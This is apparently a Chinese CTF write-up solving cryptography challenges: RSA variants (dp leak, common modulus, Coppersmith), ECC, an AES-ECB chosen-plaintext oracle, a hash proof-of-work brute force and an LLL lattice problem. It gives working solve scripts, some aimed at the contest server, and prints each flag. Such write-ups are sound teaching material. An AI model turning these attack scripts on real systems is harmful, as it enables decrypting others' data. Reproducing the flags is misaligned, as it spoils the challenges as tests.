c = 5366332878961364744687912786162467698377615956518615197391990327680664213847
'''
  • RSA的入门难度,给了n、p、q、c,直接编写解密脚本即可,正常rsa解密,无需多余操作
1
2
3
4
5
6
7
8
9
10
11
import libnum
import gmpy2
n = 33108009203593648507706487693709965711774665216872550007309537128959455938833
p = 192173332221883349384646293941837353967
q = 172282016556631997385463935089230918399
e = 65537
c = 5366332878961364744687912786162467698377615956518615197391990327680664213847
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
print(libnum.n2s(int(m)))
  • flag:SYC{RSA_is_easy}

ECC

  • 题目指明考察椭圆曲线加密
  • 题目附件如下,说是Python附件,其实是sage附件,真正写脚本需要使用sagemath进行解密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import getPrime
from secret import flag

p = getPrime(256)
a = getPrime(256)
b = getPrime(256)
E = EllipticCurve(GF(p),[a,b])
m = E.random_point()
G = E.random_point()
k = getPrime(256)
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G

cipher_left = bytes_to_long(flag[:len(flag)//2]) * m[0]
cipher_right = bytes_to_long(flag[len(flag)//2:]) * m[1]

print(f"p = {p}")
print(f"a = {a}")
print(f"b = {b}")
print(f"k = {k}")
print(f"E = {E}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"cipher_left = {cipher_left}")
print(f"cipher_right = {cipher_right}")
'''
p = 93202687891394085633786409619308940289806301885603002539703165565954917915237
a = 93822086754590882682502837744000915992590989006575416134628106376590825652793
b = 80546187587527518012258369984400999843218609481640396827119274116524742672463
k = 58946963503925758614502522844777257459612909354227999110879446485128547020161
E = Elliptic Curve defined by y^2 = x^3 + 619398863196797048716428124691975702784687120972413594924940810635907737556*x + 80546187587527518012258369984400999843218609481640396827119274116524742672463 over Finite Field of size 93202687891394085633786409619308940289806301885603002539703165565954917915237
c1 = (40485287784577105052142632380297282223290388901294496494726004092953216846111 : 81688798450940847410572480357702533480504451191937977779652402489509511335169 : 1)
c2 = (51588540344302003527882762117190244240363885481651104291377049503085003152858 : 77333747801859674540077067783932976850711668089918703995609977466893496793359 : 1)
cipher_left = 34210996654599605871773958201517275601830496965429751344560373676881990711573
cipher_right = 62166121351090454316858010748966403510891793374784456622783974987056684617905
'''
  • flag被分成了两部分,然后随机生成256位的素数a、b,然后再随机生成一个256位的素数p,作为ECC加密算法的模数,构造一个模数下的椭圆曲线的坐标方程。但是这里的素数a与所给的椭圆曲线的参数a对不上
  • 然后随机生成两个椭圆曲线上的点mG,再随机生成一个256位的素数kr
  • 本题主要还是求椭圆曲线上的随机点m,这个m点已知,马上就能算出来flag
  • 题目给了C1C2俩个点,而这俩个点又与m有关,所以我们要利用C1C2k这几个已知两算出m

  • 原本这题想独立思考解出,但是最后还是看了网上的类似题目,本题实际上是hgame2022的椭圆曲线原题

  • 这里主要还是很不理解m = c1 - k * c2为什么这样可以直接算出m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p = 93202687891394085633786409619308940289806301885603002539703165565954917915237
a = 93822086754590882682502837744000915992590989006575416134628106376590825652793
b = 80546187587527518012258369984400999843218609481640396827119274116524742672463
k = 58946963503925758614502522844777257459612909354227999110879446485128547020161
a1 = 619398863196797048716428124691975702784687120972413594924940810635907737556
b1 = 80546187587527518012258369984400999843218609481640396827119274116524742672463

cipher_left = 34210996654599605871773958201517275601830496965429751344560373676881990711573
cipher_right = 62166121351090454316858010748966403510891793374784456622783974987056684617905
E = EllipticCurve(GF(p), [a1,b1])
c1 = E([Integer(40485287784577105052142632380297282223290388901294496494726004092953216846111),Integer(81688798450940847410572480357702533480504451191937977779652402489509511335169)])
c2 = E([Integer(51588540344302003527882762117190244240363885481651104291377049503085003152858),Integer(77333747801859674540077067783932976850711668089918703995609977466893496793359)])
m = c1 - k * c2
print(m)
print(cipher_left//m[0])
print(cipher_right//m[1])
  • 然后最后得到结果:flag:SYC{Ecc$is!sO@HaRd}
1
2
3
4
5
(56959194109531701863457752191002700715316295982070114133947449531256105121967 : 65183385071251798726595129652797025728347063543536362274969327580075443284111 : 1)
1537511878348658386025
543689197014958751245437
b'SYC{Ecc$i'
b's!sO@HaRd}'

ECBpad

  • AES-ECB选择明文攻击,暑假在打国外的一场比赛和BaseCTF都写过这种题型,攻击方法就是利用相同明文的块加密后的密文也相同对明文进行爆破。
  • 爆破过程如下,先构造 payload='aaaaaaaaaaaaaaa?(可见字符)aaaaaaaaaaaaaaaS'
  • 然后对发送出来的密文块 1,密文块 2 进行判断是否相同,如果相同即可得出可见字符 (?) 对应的字符是 S,那么 flag 第一个字符就给爆破出来了

  • 具体脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import string
p = remote('nc1.ctfplus.cn',40491)
print(len('b40de5c23f444922acceb599e7d5e5b32691cfc1633ef77d65dea7e70c293350b40de5c23f444922acceb599e7d5e5b38d333ba7e364f643d9da3bf32966ccb0e44412f6688e039a20692d3b8dbe79e830061d25a439557f466fb81724527137'))
#len(flag)=30
print(len('5029bc2896066b10550a6f24430bf54e8e78e37aba71f8ef2a9a37f88c82d553')//2)
print(len('2d8431246fed44608cb0be4b3b3fa65462e8a40cb07c1342cd606faa0b76a74d003cc92c73f84e7a7ee53fde1dfec57d')//2)
def padding(m):
if (len(m) % 16 != 0):
m = m + b'F' * (16 - (len(m) % 16))
return m
k = 32
flag = b''
for i in range(32):
for j in string.printable:
p.sendlineafter(b'[-]',b'yes')
pad = b'a'*(k-1) + flag + j.encode('utf-8') + b'a'*(k-1)
p.sendlineafter(b'[-]',pad)
a = p.recvline()[13:-1]
#print(a)
c1 = a[:64]
#print(c1)
#print(len(c1))
c2 = a[64:128]
#print(c2)
#print(len(c2))
if c1==c2:
flag += j.encode('utf-8')
k-=1
print(flag)
  • 从而得到flag:SYC{CRY9T0HACK_A_GREA7_W38S17E}

image-20241104085142098

ezRSA

  • 模板题,而且题目也有给了提示coppersmith攻击
  • 然后在网上了解一下原理之后就写脚本即可
  • 这里通过h计算出m的高位
1
2
h = 111518648179416351438603824560360041496706848494616308866057817087295675324528913254309319829895222661760009533326673551072163865
m_h = (h +2023)//2024
  • 然后使用sage解出m
1
2
3
4
5
6
7
8
9
10
11
12
13
n = 98776098002891477120992675696155328927086322526307976337988006606436135336004472363084175941067711391936982491358233723506086793155908108571814951698009309071244571404116817767749308434991695075517682979438837852005396491907180020541510210086588426719828012276157990720969176680296088209573781988504138607511
c = 9379399412697943604731810117788765980709097637865795846842608472521416662350816995261599566999896411508374352899659705171307916591351157861393506101348972544843696221631571188094524310759046142743046919075577350821523746192424192386688583922197969461446371843309934880019670502610876840610213491163201385965
h = 111518648179416351438603824560360041496706848494616308866057817087295675324528913254309319829895222661760009533326673551072163865
m_h = 55098146333703730947926790790691720107068601034889480665048328600442527334253415639480889244019378785454550164687091675430912
e = 3
kbits = 150
PR.<x> = PolynomialRing(Zmod(n))
f = (m_h + x)^e - c
x0 = f.small_roots(2^kbits,1)[0]
m = m_h + x0
print(m)
# 55098146333703730947926790790691720107068601034889480665048328600442527334253416918933209078294725467152711309939550589383549

  • 最后得到flag
1
2
3
import libnum
print(libnum.n2s(55098146333703730947926790790691720107068601034889480665048328600442527334253416918933209078294725467152711309939550589383549))
# SYC{crypto_is_very_interesting_why_dont_you_join_us}

nc

  • 题目如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from hashlib import sha256
import socketserver
import os
import signal
import string
import random

flag = "SYC{...}"

class Task(socketserver.BaseRequestHandler):

ctry = 0

def _recvall(self):
BUFF_SIZE = 2048
data = b''
while True:
part = self.request.recv(BUFF_SIZE)
data += part
if len(part) < BUFF_SIZE:
break
return data.strip()

def send(self, msg, newline=True):
try:
if newline:
msg += b'\n'
self.request.sendall(msg)
except:
pass

def recv(self, prompt=b'[-] '):
self.send(prompt, newline=False)
return self._recvall()

def proof_of_work(self):
random.seed(os.urandom(8))
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
_hexdigest = sha256(proof.encode()).hexdigest()
self.send(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
x = self.recv(prompt=b'[+] Plz tell me XXXX: ')
if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
return False
return True

def handle(self):
signal.alarm(60)
try:
if not self.proof_of_work():
self.send(b'[!] Wrong!')
self.send(b'[*] Maybe you need a little force, right?')
return
else:
self.send(b'[*] HEY, MY NEW FRIENDDD, YOUUUUUU FIND THE RIGHT WAAAAAAY!')
self.send(b'[*] Or even more complex?')
self.send(b'[*] Maybe these details are not important.6 See below :D')

signal.alarm(400)
self.send(b'[+] ')
while self.ctry < 35:
data = self.recv().decode()
f = self.oraicle(data)
self.send(f)
self.ctry += 1

except TimeoutError:
self.send(b'[!] Ohhehe, Timeout!')

def oraicle(self,a):

if a.isdigit() and int(a)<33 and int(a)>0:
a = int(a)-1
return b'[+] ' + flag[a].encode()

return b'[!] Invalid Member!'


class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass


class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass


if __name__ == "__main__":
HOST,PORT = '0.0.0.0',12321
server = ForkedServer((HOST,PORT),Task)
server.allow_reuse_address = True
print(HOST, PORT)
server.serve_forever()
  • 该题附件大致就是,随机生成可显字符串,然后将可显字符串进行sha256加密,并将sha256值告诉我们,题目要我们求随机生成的可显字符串的前4个字符

image-20241115184257465

  • 解出来后就可以逐个获取flag了,既然只叫我们求前4个字符,那么就直接明文爆破即可
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
import string
import hashlib
p = remote('nc1.ctfplus.cn',26474)
b = p.recvline()
print(b)
print(b[16:32])
print(len(b'[+] sha256(XXXX+1tuW6mg1waiCb5F9) == '))
print(b[37:-1])
print(len(b' [+] '))
print(' [+] <\n'[5])
q = ''
for i in string.printable:
a = b[16:32].decode('utf-8')
for g in string.printable:
for h in string.printable:
for j in string.printable:
c = i + g + h + j + a
c = c.encode('utf-8')
d = hashlib.sha256(c).hexdigest()
if d == b[37:-1].decode('utf-8'):
print(i+g+h+j)
p.sendlineafter(b'Plz tell me XXXX:',(i+g+h+j).encode('utf-8'))
for count in range(35):
p.sendlineafter(b'[-]',str(count).encode('utf-8'))
qq = p.recvline()
qqq = qq.decode('utf-8')
print(qqq)
q += qqq[5]
print(q)
  • 得到flag如下:SYC{MAYB3_Y0U_KN0W_A1AN-B3<K3R?}

image-20241115184436517

dp

  • dp泄露模版题目,根据已知可以推出这个式子,从而得到攻击方法,遍历后得到满足条件的值,该值就为p-1

image-20241115191630884

  • 这样就可以得到p,n就可以分解了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import libnum
import gmpy2
c = 127916287434936224964530288403657504450134210781148845328357237956681373722556447001247137686758965891751380034827824922625307521221598031789165449134994998397717982461775225812413476283147124013667777578827293691666320739053915493782515447112364470583788127477537555786778672970196314874316507098162498135060
n = 157667866005866043809675592336288962106125998780791920007920833145068421861029354497045918471672956655205541928071253023208751202980457919399456984628429198438149779785543371372206661553180051432786094530268099696823142821724314197245158942206348670703497441629288741715352106143317909146546420870645633338871
e = 65537
dp = 2509050304161548479367108202753097217949816106531036020623500808413533337006939302155166063392071003278307018323129989037561756887882853296553118973548769
for x in range(1, e):
if(e*dp%x==1):
p=(e*dp-1)//x+1
if(n%p!=0):
continue
q=n//p
phin=(p-1)*(q-1)
d=gmpy2.invert(e, phin)
m=pow(c, d, n)
if(len(hex(m)[2:])%2==1):
continue
print('--------------')
print(m)
print(hex(m)[2:])
print(bytes.fromhex(hex(m)[2:]))

共模攻击

  • 共模攻击该题就是模数n相同,e1,e2不同,所以c1=pow(m,e1,n),c2 = pow(m,e2,n)

  • 题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from secret import flag
p,q = [getPrime(1024) for _ in range(2)]
n = p*q
e = [getPrime(10) for _ in range(2)]

m = bytes_to_long(flag)

c = [pow(m, e[i], n) for i in range(2)]
print(f'n = {n}')
print(f'e1 = {e[0]}')
print(f'e2 = {e[1]}')
print(f'c1 = {c[0]}')
print(f'c2 = {c[1]}')
'''
n = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767
e1 = 911
e2 = 967
c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983
c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152
'''
  • 可以直接使用拓展欧几里得算法,得到s1、s2,然后最后再套用公式,即可得到答案

image-20241115192203753

  • exp如下:
1
2
3
4
5
6
7
8
9
10
import libnum
import gmpy2
n = 19742875423645690846073637620470497648804310111201409901059297083827103813674034450200432098143959078292346910591785265323563248781526393718834491458926162514713269984791730816121181307827624489725923763353393879316510062227511469438742429290073999388690825732236465647396755899136346150862848924231619666069528077790933176798057396704758072769660663756346237040909579775389576227450505746914753205890194457812893098491264392293949768193694560954874603451253079446652049592976605414438411872223250039782381259212718733455588477129910357095186014496957765297934289263536712574572533650393220492870445376144568199077767
e1 = 911
e2 = 967
c1 = 18676091924461946809127036439355116782539894105245796626898495935702348484076501694838877829307466429933623102626122909782775514926293363853121828819237500456062111805212209491398720528499589486241208820804465599279152640624618194425740368495072591471531868392274503936869225072123214869399971636428177516761675388589238329574042518038702529606188240859751459632643230538522947412931990009143731829484941397093509641320264169403755707495153433568106934850283614529793695266717330769019091782929139589939928210818515744604847453929432990185347112319971445630830477574679898503825626294542336195240055995445217249602983
c2 = 4229417863231092939788858229435938841085459330992709019823280977891432565586698228613770964563920779991584732527715378842621171338649745186081520176123907689669636473919678398014317024138622949923292787095400632018991311254591786179660603414693984024161009444842277220189315861986306573182865656366278782315864366857374874763243428496061153290565891942968876789905670073321426112497113145141539289020571684634406829272902118484670099097148727072718299512735637087933649345419433312872607209633402427461708181971718804026293074540519907755129917132236240606834816534369171888633588190859475764799895410284484045429152
s,s1,s2=gmpy2.gcdext(e1,e2)
m=(pow(c1,s1,n)*pow(c2,s2,n))%n
print(libnum.n2s(int(m)).decode())
  • flag:SYC{U_can_really_attack}

LLL

  • 这个就是一个简单的格密码入门题目,本题主要还是在调参数上。

image-20241118210215174

  • 我这里直接选择爆破求参
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *
b = 169790849804323540946197204708402762862586197604183102589270741859708550301920348112941305999764092197996929298474590062625556806793613268527763774013772685954699561684244945434843656515307801882995934869499880288594142919381501796488815033294127591623260894764750214588993456840404443515671353802614450411717
a = 87985708831523238980948938165414984318379459926002798504435964538203443877988599888615810231215118828138306895572062833107988965151522391460216837691927960249874511818878134399363147008042562222910234739940697553852540265617603482995091203105040187460485673579382171260197291783748886765929376179151804062085
p = 131724494512065658801039766546788821718063963144467818735768040631367069153816254855229655449559099188694403260044990366292026916085340250077198735215774149087025577263769846650728593180101073940507285459917860726551385227481715873503612683249433020201729190862430476054822102865441136763977415824331858801617

for i in range(500):
Ge = Matrix(ZZ, [[2^i, 0, a],
[0, 1, -b],
[0, 0, p]])

t, m, c = Ge.LLL()[0]
#print(m)
m = abs(m)
print(long_to_bytes(int(m)))

image-20241118210306344

  • flag:SYC{1e989433efffd767589e989ad0f091075c06}